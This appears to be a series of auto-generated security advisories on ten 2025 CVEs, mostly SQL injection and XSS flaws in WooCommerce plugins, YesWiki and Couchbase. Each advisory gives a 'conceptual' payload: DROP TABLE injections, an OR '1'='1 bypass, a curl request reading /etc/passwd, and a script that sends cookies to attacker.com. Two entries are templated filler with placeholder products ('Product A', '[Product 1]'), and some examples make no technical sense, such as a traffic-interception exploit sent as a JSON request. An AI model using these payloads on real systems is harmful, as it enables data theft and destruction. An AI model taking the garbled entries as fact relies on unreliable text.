Author: Ameeba

Overview

This report examines the CVE-2025-47544 vulnerability, an SQL Injection flaw found in the Dynamic Pricing With Discount Rules plugin for WooCommerce by acowebs. The issue is of significant concern as it could potentially lead to system compromise or data leakage. Therefore, businesses utilizing WooCommerce for their e-commerce operations must take immediate protective measures to safeguard their software environment.

Vulnerability Summary

CVE ID: CVE-2025-47544
Severity: High (7.6 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System Compromise and Data Leakage

Affected Products

Product | Affected Versions

acowebs Dynamic Pricing With Discount Rules for WooCommerce | n/a through 4.5.8

How the Exploit Works

The exploit takes advantage of the “Improper Neutralization of Special Elements used in an SQL Command” in the plugin. An attacker can manipulate the SQL query by injecting malicious data into the system. This technique, known as “Blind SQL Injection,” allows the attacker to control the database query and can lead to unauthorized access to sensitive information or even control over the entire system.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. This could be a crafted HTTP POST request, which injects a malicious SQL command.

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "discount_rule": "'; DROP TABLE users; --" }

This example illustrates a classic SQL Injection attack, where the attacker attempts to delete the “users” table from the database. However, the actual payload would be tailored to the specific SQL dialect and database schema in use.

Mitigation Guidance

For mitigation, it is recommended to apply the vendor patch as soon as it becomes available. Until then, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) could serve as a temporary mitigation measure. These systems can help detect and block SQL Injection attempts, reducing the risk of exploitation. Regularly updating and patching software is also essential in maintaining a secure system.

Overview

The CVE-2025-47538 vulnerability refers to an improper neutralization of special elements used in an SQL command, more commonly known as SQL Injection, found in wpdever Cart tracking for WooCommerce. This vulnerability has the potential to compromise systems and lead to data leakage, posing significant risk to businesses and individuals using WooCommerce, a popular eCommerce platform.

Vulnerability Summary

CVE ID: CVE-2025-47538
Severity: High (7.6 CVSS score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

wpdever Cart Tracking for WooCommerce | n/a to 1.0.17

How the Exploit Works

The exploit works by injecting malicious SQL commands into vulnerable points of the WooCommerce application. The attacker can manipulate the SQL commands used by the application to interact with its database. This can result in unauthorized viewing of data, data manipulation, and in worst-case scenarios, command execution on the host operating system.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. In this example, an attacker sends a POST request with a malicious SQL command embedded in the payload.

POST /cart_tracking/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "cart_id": "1; DROP TABLE users;" }

In this example, the malicious SQL command `DROP TABLE users;` is injected via the `cart_id` parameter. If the application does not properly sanitize this input, it could lead to the deletion of the `users` table from the database.

Mitigation Guidance

Users are advised to apply the vendor patch as soon as possible to mitigate the risks associated with this vulnerability. In the meantime, using Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) could serve as a temporary mitigation strategy.

Overview

The vulnerability, identified as CVE-2025-47537, is a significant security risk associated with PDF Invoices for WooCommerce + Drag and Drop Template Builder. It allows an attacker to manipulate SQL queries in the backend database through the application, an attack type commonly known as SQL Injection. The implications of this vulnerability are severe, with potential system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-47537
Severity: High (7.6 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Unauthorized access to sensitive data, potential system compromise

Affected Products

Product | Affected Versions

PDF Invoices for WooCommerce + Drag and Drop Template Builder | n/a – 5.3.8

How the Exploit Works

The vulnerability stems from the improper neutralization of special elements used in SQL commands by the affected software. As a result, an attacker can inject malicious SQL statements into the application, which are then executed by the backend database. This allows unauthorized access to sensitive data, potential data manipulation, and in some cases, control over the underlying server.

Conceptual Example Code

Here is a conceptual example of how this vulnerability might be exploited:

POST /add_product HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
product_id=1; DROP TABLE users;--

In this example, an attacker sends a POST request with a malicious payload (`product_id=1; DROP TABLE users;–`). This payload includes an SQL statement designed to delete a table from the database (`DROP TABLE users`), demonstrating the potential destructive power of this vulnerability.

Recommended Mitigation

To mitigate this vulnerability, it is recommended to apply the vendor-supplied patch as soon as possible. If a patch is not immediately available or cannot be applied, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary protection by detecting and blocking SQL injection attacks.

Overview

This report details an SQL Injection vulnerability identified as CVE-2025-47460, affecting the TrackShip for WooCommerce plugin. If exploited, this security weakness could potentially lead to system compromise or data leakage, posing serious risks to WooCommerce users. It is essential for those using TrackShip for WooCommerce to understand this vulnerability and apply appropriate mitigation techniques.

Vulnerability Summary

CVE ID: CVE-2025-47460
Severity: High (7.6 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

TrackShip for WooCommerce | n/a – 1.9.1

How the Exploit Works

The vulnerability originates from the improper neutralization of special elements used in an SQL command within the TrackShip for WooCommerce plugin. This allows an attacker to alter SQL statements executed by the application, leading to unauthorized access or manipulation of data. An attacker could potentially retrieve, alter, or delete sensitive information in the database, leading to a system compromise.

Conceptual Example Code

A conceptual example of how the vulnerability might be exploited is shown below:

POST /woocommerce_endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
trackship_id=1'; DROP TABLE users; --

In this example, the SQL command after the trackship_id parameter (‘DROP TABLE users; –‘) would lead to the deletion of the ‘users’ table from the database, assuming the application is vulnerable to SQL Injection and the attacker has sufficient permissions.

Mitigation and Recommendations

Users of the TrackShip for WooCommerce plugin are advised to apply the vendor patch as soon as it is available. In the interim, users can implement a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as temporary mitigation methods. These systems can detect and prevent SQL injection attempts, providing an additional layer of security.

Overview

The cross-site scripting (XSS) vulnerability identified as CVE-2025-29152 in the Lemeconsultoria HCM Galera.app version 4.58.0 allows an attacker to compromise the system or leak data. This vulnerability is critical due to its wide reach, affecting multiple components of the application and, consequently, the organizations that use this software.

Vulnerability Summary

CVE ID: CVE-2025-29152
Severity: High (CVSS: 7.6)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Lemeconsultoria HCM Galera.app | v.4.58.0

How the Exploit Works

The XSS vulnerability occurs when the application does not properly validate input on the mentioned components. This flaw allows an attacker to inject malicious scripts, which are then executed in the browser of any user viewing the manipulated page. The attacker can hijack user sessions, deface websites, or redirect the user to malicious sites.

Conceptual Example Code

Here’s a conceptual example of how this vulnerability might be exploited:

POST /vulnerable/component HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"userInput": "<script>new Image().src='http://attacker.com/steal.php?cookie='+document.cookie;</script>"
}

In this example, the attacker sends a POST request with a payload containing malicious JavaScript. If the application processes this input and returns it in a web page without proper sanitization, the script executes in the user’s browser, sending their cookies to the attacker’s server.

Mitigation

To mitigate this vulnerability, it is advised to apply the latest patch provided by the vendor as soon as possible. If the patch cannot be applied immediately, a temporary solution would be to use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and block malicious payloads. Furthermore, it’s good practice to sanitize all user inputs and outputs in the application to prevent such vulnerabilities.

Overview

The vulnerability CVE-2025-46619 is a security issue that has been found in versions of Couchbase Server before 7.6.4 and has been rectified in v.7.6.4 and v.7.2.7 for Windows. This vulnerability could potentially allow unauthorized access to sensitive files, leading to system compromise or data leakage. Therefore, it’s a significant concern for businesses and individuals using affected versions of Couchbase Server.

Vulnerability Summary

CVE ID: CVE-2025-46619
Severity: High (7.6 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Unauthorized access to sensitive files, potential system compromise or data leakage

Affected Products

Product | Affected Versions

Couchbase Server | Before 7.6.4

How the Exploit Works

The vulnerability, CVE-2025-46619, allows unauthorized access to sensitive files such as /etc/passwd or /etc/shadow. An attacker, with low level privileges, can exploit this vulnerability over a network without user interaction. The successful exploitation might potentially lead to system compromise or data leakage.

Conceptual Example Code

The below example is a conceptual representation of how this vulnerability might be exploited:

$ curl http://target.example.com:port/api/v1/files?file_path=/etc/passwd

In this hypothetical scenario, the attacker sends a HTTP GET request to the target server, attempting to access the /etc/passwd file.

Mitigation Guidance

To mitigate this vulnerability, users are advised to apply the vendor patch available for Couchbase Server versions 7.6.4 and 7.2.7 for Windows. For temporary mitigation, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used.

Overview

The vulnerability CVE-2025-44193 pertains to the Simple Barangay Management System v1.0, a product of SourceCodester. This vulnerability poses a significant risk to any organization utilizing the aforementioned system, as it allows potential attackers to conduct SQL injection attacks. A successful exploit could lead to system compromise or data leakage, severely impacting the confidentiality, integrity, and availability of the system and its data.

Vulnerability Summary

CVE ID: CVE-2025-44193
Severity: High (7.6)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

SourceCodester Simple Barangay Management System | v1.0

How the Exploit Works

The vulnerability is due to insufficient sanitization of user-supplied inputs in the “/barangay_management/admin/?page=view_complaint” page of the application. An attacker can exploit this by sending a specially crafted SQL query to the application, which could allow the attacker to manipulate the SQL query, leading to unauthorized access to the system’s database.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited:

GET /barangay_management/admin/?page=view_complaint&id=1' OR '1'='1 HTTP/1.1
Host: target.example.com

In this example, the “id” parameter in the URL is manipulated to include the SQL injection payload “‘ OR ‘1’=’1”. This malicious payload can force the SQL query to always return true, potentially allowing the attacker to view all complaints in the system.
It’s important to note that the specific payload and the result might vary depending on the structure of the system’s database and the specific SQL dialect used.

Overview

This report shines a light on the CVE-2025-46349 vulnerability, a reflected XSS (Cross-Site Scripting) flaw found in YesWiki, a PHP-based wiki system. The vulnerability, rated with a CVSS Severity Score of 7.6, affects all versions of YesWiki prior to 4.5.4. This vulnerability is significant due to its potential to compromise systems or lead to data leakage.

Vulnerability Summary

CVE ID: CVE-2025-46349
Severity: High (CVSS: 7.6)
Attack Vector: Remote
Privileges Required: None
User Interaction: Required
Impact: System Compromise, Data Leakage

Affected Products

Product | Affected Versions

YesWiki | Prior to 4.5.4

How the Exploit Works

This vulnerability stems from improper sanitization of user input in the file upload form of YesWiki. An unauthenticated attacker can craft a malicious link, embedding a script. This script is then reflected back to the user’s browser when the victim clicks the link, executing within the context of the user’s session. This can lead to unauthorized actions being performed, session hijacking, or sensitive data exposure.

Conceptual Example Code

Here is a conceptual example of how an HTTP request carrying the malicious payload might look:

GET /file-upload-form?filename=<script>malicious_code_here</script> HTTP/1.1
Host: vulnerable-yeswiki-site.com

In this example, the “malicious_code_here” would be replaced by the actual exploit code the attacker wishes to run on the victim’s browser.

Mitigation Guidance

Users are advised to immediately update their YesWiki installations to version 4.5.4 or later, where this vulnerability has been patched. In situations where immediate update is not possible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation, blocking or alerting on potential exploit attempts.

Overview

The CVE-2025-23178 vulnerability pertains to the improper restriction of a communication channel to its intended endpoints, identified as CWE-923. This critical vulnerability exposes systems to potential compromise, leading to unauthorized access or data leakage. Affected systems are at risk of being exploited by cybercriminals, emphasizing the need for immediate action and mitigation strategies.

Vulnerability Summary

CVE ID: CVE-2025-23178
Severity: Critical (7.6 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise, potential data leakage

Affected Products

Product | Affected Versions

Product A | Versions x.x.x, y.y.y
Product B | Versions a.a.a, b.b.b

How the Exploit Works

The exploit works by targeting the communication channel of the affected systems. Due to the improper restriction, an attacker can intercept the traffic between the system’s endpoints, gaining access to sensitive information. In some cases, this could allow the attacker to impersonate valid endpoints, leading to unauthorized control over the system.

Conceptual Example Code

Here is a conceptual example of how the exploit might be performed. It represents a malicious HTTP request to a vulnerable endpoint:

GET /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Accept: application/json
{ "malicious_request": "intercept_traffic" }

In this example, the “malicious_request” is designed to intercept the traffic between the system’s endpoints, potentially leading to system compromise or data leakage. This is purely conceptual and may vary depending on the specific circumstances of the exploit.

Mitigation Guidance

To mitigate the impact of CVE-2025-23178, vendors should be contacted for an appropriate patch. If a patch is not immediately available, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation. Regular monitoring and updating of system software can also help prevent potential exploits.

Overview

A critical vulnerability, CVE-2025-23177, has been identified in several software products, posing a significant threat to system security. This vulnerability, rooted in CWE-427, involves an Uncontrolled Search Path Element that can lead to potential system compromise or data leakage. Given the severity of this vulnerability, understanding its nature, impact, and mitigation measures is crucial for businesses and organizations to effectively safeguard their systems.

Vulnerability Summary

CVE ID: CVE-2025-23177
Severity: High (CVSS: 7.6)
Attack Vector: Local Network
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

[Product 1] | All versions prior to [version number]
[Product 2] | Versions 2.0 to 3.1

How the Exploit Works

The exploit works by manipulating the search path element, a component of the software that helps locate the necessary libraries or components to perform its functions. An attacker can introduce malicious elements into the search path, which the software may then inadvertently use. This could enable unauthorized access, data leakage, or even full system compromise.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited.

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"malicious_payload": "Injected path: /malicious/directory"
}

In this example, the attacker sends a HTTP POST request to a vulnerable endpoint on the target server. The malicious payload instructs the server to include a path to a malicious directory, which could contain harmful scripts or commands.

Mitigation

Vulnerable systems should apply the vendor-released patch immediately to mitigate this vulnerability. In situations where immediate patching is not possible, using a Web Application Firewall (WAF) or Intrusion Detection Systems (IDS) can offer temporary protection by detecting and blocking potential exploits. However, these are not long-term solutions and patching must be prioritized to fully secure systems against CVE-2025-23177.